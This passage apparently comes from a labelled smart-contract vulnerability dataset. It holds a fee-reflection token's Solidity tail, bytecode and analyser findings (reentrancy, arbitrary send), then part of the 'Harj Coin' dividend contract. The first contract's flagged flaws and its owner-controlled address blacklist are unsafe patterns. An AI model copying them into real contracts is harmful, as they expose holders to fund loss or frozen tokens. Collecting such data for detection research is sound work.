if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b038135169060200135610538565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610556565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610563565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105ea565b005b34801561029b57600080fd5b506102a4610663565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b50351515610668565b3480156102f257600080fd5b5061028d6106de565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610712565b34801561033a57600080fd5b5061028d61077c565b34801561034f57600080fd5b5061035861081e565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e61082d565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b03813516906020013561084f565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610863945050505050565b34801561047e57600080fd5b5061028d610917565b34801561049357600080fd5b5061028d610954565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d3b565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e40565b60408051808201909152601a81527f416c20506163696e75207c20742e6d652f414c5f504143494e55000000000000602082015290565b600061054c610545610e6b565b8484610e6f565b5060015b92915050565b683635c9adc5dea0000090565b6000610570848484610f5b565b6105e08461057c610e6b565b6105db85604051806060016040528060288152602001611fd2602891396001600160a01b038a166000908152600460205260408120906105ba610e6b565b6001600160a01b031681526020810191909152604001600020549190611331565b610e6f565b5060019392505050565b6105f2610e6b565b6000546001600160a01b03908116911614610642576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffa833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610670610e6b565b6000546001600160a01b039081169116146106c0576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffa833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106f2610e6b565b6001600160a01b03161461070557600080fd5b4761070f816113c8565b50565b6001600160a01b03811660009081526006602052604081205460ff161561075257506001600160a01b038116600090815260036020526040902054610777565b6001600160a01b0382166000908152600260205260409020546107749061144d565b90505b919050565b610784610e6b565b6000546001600160a01b039081169116146107d4576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffa833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b604080518082019091526008815267414c504143494e5560c01b602082015290565b600061054c61085c610e6b565b8484610f5b565b61086b610e6b565b6000546001600160a01b039081169116146108bb576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffa833981519152604482015290519081900360640190fd5b60005b8151811015610913576001600760008484815181106108d957fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108be565b5050565b6010546001600160a01b031661092b610e6b565b6001600160a01b03161461093e57600080fd5b600061094930610712565b905061070f816114ad565b61095c610e6b565b6000546001600160a01b039081169116146109ac576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffa833981519152604482015290519081900360640190fd5b601354600160a01b900460ff1615610a0b576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a549030906001600160a01b0316683635c9adc5dea00000610e6f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8d57600080fd5b505afa158015610aa1573d6000803e3d6000fd5b505050506040513d6020811015610ab757600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610b0757600080fd5b505afa158015610b1b573d6000803e3d6000fd5b505050506040513d6020811015610b3157600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b8357600080fd5b505af1158015610b97573d6000803e3d6000fd5b505050506040513d6020811015610bad57600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bdf81610712565b600080610bea61081e565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c5557600080fd5b505af1158015610c69573d6000803e3d6000fd5b50505050506040513d6060811015610c8057600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d0c57600080fd5b505af1158015610d20573d6000803e3d6000fd5b505050506040513d6020811015610d3657600080fd5b505050565b610d43610e6b565b6000546001600160a01b03908116911614610d93576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffa833981519152604482015290519081900360640190fd5b60008111610de8576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610e066064610e00683635c9adc5dea000008461167b565b906116d4565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610eb45760405162461bcd60e51b81526004018080602001828103825260248152602001806120686024913960400191505060405180910390fd5b6001600160a01b038216610ef95760405162461bcd60e51b8152600401808060200182810382526022815260200180611f8f6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610fa05760405162461bcd60e51b81526004018080602001828103825260258152602001806120436025913960400191505060405180910390fd5b6001600160a01b038216610fe55760405162461bcd60e51b8152600401808060200182810382526023815260200180611f426023913960400191505060405180910390fd5b600081116110245760405162461bcd60e51b815260040180806020018281038252602981526020018061201a6029913960400191505060405180910390fd5b61102c61081e565b6001600160a01b0316836001600160a01b031614158015611066575061105061081e565b6001600160a01b0316826001600160a01b031614155b156112d457601354600160b81b900460ff1615611160576001600160a01b038316301480159061109f57506001600160a01b0382163014155b80156110b957506012546001600160a01b03848116911614155b80156110d357506012546001600160a01b03838116911614155b15611160576012546001600160a01b03166110ec610e6b565b6001600160a01b0316148061111b57506013546001600160a01b0316611110610e6b565b6001600160a01b0316145b611160576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561116f57600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111b157506001600160a01b03821660009081526007602052604090205460ff16155b6111ba57600080fd5b6013546001600160a01b0384811691161480156111e557506012546001600160a01b03838116911614155b801561120a57506001600160a01b03821660009081526005602052604090205460ff16155b801561121f5750601354600160b81b900460ff165b15611267576001600160a01b038216600090815260086020526040902054421161124857600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061127230610712565b601354909150600160a81b900460ff1615801561129d57506013546001600160a01b03858116911614155b80156112b25750601354600160b01b900460ff165b156112d2576112c0816114ad565b4780156112d0576112d0476113c8565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061131657506001600160a01b03831660009081526005602052604090205460ff165b1561131f575060005b61132b84848484611716565b50505050565b600081848411156113c05760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561138557818101518382015260200161136d565b50505050905090810190601f1680156113b25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113e28360026116d4565b6040518115909202916000818181858888f1935050505015801561140a573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114258360026116d4565b6040518115909202916000818181858888f19350505050158015610913573d6000803e3d6000fd5b6000600a548211156114905760405162461bcd60e51b815260040180806020018281038252602a815260200180611f65602a913960400191505060405180910390fd5b600061149a611832565b90506114a683826116d4565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114ee57fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561154257600080fd5b505afa158015611556573d6000803e3d6000fd5b505050506040513d602081101561156c57600080fd5b505181518290600190811061157d57fe5b6001600160a01b0392831660209182029290920101526012546115a39130911684610e6f565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b83811015611629578181015183820152602001611611565b505050509050019650505050505050600060405180830381600087803b15801561165257600080fd5b505af1158015611666573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261168a57506000610550565b8282028284828161169757fe5b04146114a65760405162461bcd60e51b8152600401808060200182810382526021815260200180611fb16021913960400191505060405180910390fd5b60006114a683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611855565b80611723576117236118ba565b6001600160a01b03841660009081526006602052604090205460ff16801561176457506001600160a01b03831660009081526006602052604090205460ff16155b15611779576117748484846118ec565b611825565b6001600160a01b03841660009081526006602052604090205460ff161580156117ba57506001600160a01b03831660009081526006602052604090205460ff165b156117ca57611774848484611a10565b6001600160a01b03841660009081526006602052604090205460ff16801561180a57506001600160a01b03831660009081526006602052604090205460ff165b1561181a57611774848484611ab9565b611825848484611b2c565b8061132b5761132b611b70565b600080600061183f611b7e565b909250905061184e82826116d4565b9250505090565b600081836118a45760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561138557818101518382015260200161136d565b5060008385816118b057fe5b0495945050505050565b600c541580156118ca5750600d54155b156118d4576118ea565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118fe87611cfd565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506119309088611d5a565b6001600160a01b038a1660009081526003602090815260408083209390935560029052205461195f9087611d5a565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461198e9086611d9c565b6001600160a01b0389166000908152600260205260409020556119b081611df6565b6119ba8483611e7e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a2287611cfd565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a549087611d5a565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a8a9084611d9c565b6001600160a01b03891660009081526003602090815260408083209390935560029052205461198e9086611d9c565b600080600080600080611acb87611cfd565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611afd9088611d5a565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a549087611d5a565b600080600080600080611b3e87611cfd565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061195f9087611d5a565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cbd57826002600060098481548110611bae57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c135750816003600060098481548110611bec57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c3157600a54683635c9adc5dea0000094509450505050611cf9565b611c716002600060098481548110611c4557fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d5a565b9250611cb36003600060098481548110611c8757fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d5a565b9150600101611b92565b50600a54611cd490683635c9adc5dea000006116d4565b821015611cf357600a54683635c9adc5dea00000935093505050611cf9565b90925090505b9091565b6000806000806000806000806000611d1a8a600c54600d54611ea2565b9250925092506000611d2a611832565b90506000806000611d3d8e878787611ef1565b919e509c509a509598509396509194505050505091939550919395565b60006114a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611331565b6000828201838110156114a6576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611e00611832565b90506000611e0e838361167b565b30600090815260026020526040902054909150611e2b9082611d9c565b3060009081526002602090815260408083209390935560069052205460ff1615610d365730600090815260036020526040902054611e699084611d9c565b30600090815260036020526040902055505050565b600a54611e8b9083611d5a565b600a55600b54611e9b9082611d9c565b600b555050565b6000808080611eb66064610e00898961167b565b90506000611ec96064610e008a8961167b565b90506000611ee182611edb8b86611d5a565b90611d5a565b9992985090965090945050505050565b6000808080611f00888661167b565b90506000611f0e888761167b565b90506000611f1c888861167b565b90506000611f2e82611edb8686611d5a565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212206af4c9e9494b5eea1ad669033b95a4b2f973f69200538580e9de8b973036e3e064736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,674 |
0x48ec60c155a8487f9f06107054afe947a2345bbc | pragma solidity ^0.4.20;
/*
*HarjCoin https://harjcoin.io
*
*/
contract Harj {
/*=================================
= MODIFIERS =
=================================*/
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "Harj Coin";
string public symbol = "Harj";
uint8 constant public decimals = 18;
/// @dev 10% dividends for token purchase
uint8 constant internal entryFee_ = 10;
/// @dev 0% dividends for token transfer
uint8 constant internal transferFee_ = 0;
/// @dev 10% dividends for token selling
uint8 constant internal exitFee_ = 10;
/// @dev 33% of entryFee_ (i.e. 3% dividends) is given to referrer
uint8 constant internal refferalFee_ = 33;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether;
uint256 constant internal magnitude = 2 ** 64;
/// @dev proof of stake (defaults at 25 tokens)
uint256 public stakingRequirement = 25e18;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
/**
* @dev Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function() payable public {
purchaseTokens(msg.value, 0x0);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint256 _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
/**
* @dev Transfer tokens from the caller to a new holder.
*
*/
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw();
}
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
/*=====================================
= HELPERS AND CALCULATORS =
=====================================*/
/**
* @dev Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* @dev Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the sell price of 1 individual token.
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the buy price of 1 individual token.
function buyPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
